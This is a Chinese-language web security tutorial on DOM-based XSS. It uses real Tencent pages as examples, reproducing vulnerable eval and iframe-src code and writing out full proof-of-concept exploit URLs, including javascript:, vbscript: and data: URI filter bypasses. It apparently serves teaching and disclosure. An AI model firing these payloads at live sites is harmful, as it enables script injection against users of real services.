深入源码,邂逅eval和iframe

前边的分析过程,看起来还是比较浅,不论是直接在源码中出现的,还是在elements 中出现的,他们都是通过JavaScript 的document.write 或者是 innerHTML 输出到网页去了,所以还是可以轻松的在开发者工具那里看到输出的位置。但是,如果一部分输出,最终没有流向innerHTML 或者是 document.write,就需要安心下来慢慢挖掘了。

腾讯的栗子:
http://kf.qq.com/search_app.shtml?key=aaaaa

跑去源码和开发者工具里搜索一通,都没有搜索到,下面,我们换个思路,进入console 中,看能否发现一些。我们按照往常,在URL 的参数里,构造一些特殊字符,单引号,双引号,尖括号,斜杠,一般来说,双引号单引号都会最早被过滤,所以一般斜杠的几率还大一些。我们构建之后,查看结果返回一个错误的信息:

右边能点开帮助文档,能看到源文件,那我们进源文件好好看看到底哪里出错了,有没有机会绕过。我们定位到代码的位置,上下文大约如此:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var getarg = function()
{
var url = window.location.href;
var allargs = url.split("?")[1];
if (allargs!=null && allargs.indexOf("=")>0)
{
var args = allargs.split("&");
for(var i=0; i<args.length; i++)
{
var arg = args[i].split("=");
eval('this.'+arg[0]+'="'+arg[1]+'";');
}
}
};

这就是最简单的从URL 中获取参数的代码,url 是原始的url,allargs 是问号之后的参数部分,然后通过& 分割的开来,然后对URL 中每一个参数键值对,用一个eval 来执行记录操作,也就是执行了eval(‘this.key’=”aaaa”;’),eval(‘this.’+arg[0]+’=”‘+arg[1]+’”;’);两个参数分别对应了等号左右的键和值,虽然我们没有在页面里看到输出,但是它实际上还是输出了。

那么,我们不仅可以对值进行替换,还可以对键进行替换尝试,我们先替换一下arg[0] 试试:

1
2
this.key="aaaa";
this.key;alert(1);//="aaaa";

变成上式那样的,就可以弹窗了,双斜杠形成注释,截掉了后边的内容。测试一下这个URL:
http://kf.qq.com/search_app.shtml?key;alert(1);//=aaaa

弹弹弹,那么后边的值部分可以不可以呢。

按照惯常思路,使用双引号闭合,然后加入利用函数:

1
2
this.key="aaaa";
this.key="aaaa";alert(1);//";

构造出来的URL:
http://kf.qq.com/search_app.shtml?key=aaa";alert(1);//

但是,对于chrome等非IE 浏览器,实际上,对于URL 出现的双引号,会将其进行URL 编码,在HTML 解析的时候,无法完成正常的语法结构,也就失效了,不过上述代码在IE下是有效的。

下面我们再发现输出在iframe中的,因为iframe 后边可以跟src ,有时候为了方便嵌套小框架,会从URL里读取参数,然后构造成地址,输出在iframe 的src 中,形如:< iframe src=”[输出]”>< /iframe>。

但是,对于src 来说,我们可以插入伪URL ,来执行JS 代码,常见的插入在前边也说过,对于iframe 可以有以下几种:

下面继续从乌云上的栗子开始学习:
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=aaaaaa&gid=yl&cid=68&from=

仍然使用最简单的方式去开发者工具里找输出,看到被带到了iframe 的src 中去:

尝试用最简单的方式构造一个弹窗:
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=javascript:alert(1);&gid=yl&cid=68&from=
结果失效:

看来是被过滤掉了,那么寻找到这个iframe 的处理操作,去找找问题,在js 源码里,找到了相关的处理:

1
2
3
4
5
6
7
function OpenFrame(url) {
if (url.toLowerCase().indexOf('http://') != '-1' || url.toLowerCase().indexOf('https://') != '-1' || url.toLowerCase().indexOf('javascript:') != '-1') return false;
document.getElementById("toolframe").src = url;
}

实际上,他做了最简单的过滤,仅仅是不允许JavaScript 伪URL,而url 参数,我们寻找turl 参数,源码中,并没再做更多操作:

1
2
3
var tool_url = getQueryStringValue("turl");
...
openFrame(tool_url);

那么我们就可以用上边说的使用VBScript来在IE 下XSS,可以在Chrome 中用date 来构造XSS。

1
2
3
IE: http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=vbscript:msgbox(1)'&gid=yl&cid=68&from=
Chrome: http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=data:text/html,<script>alert(1)</script>'&gid=yl&cid=68&from=
script>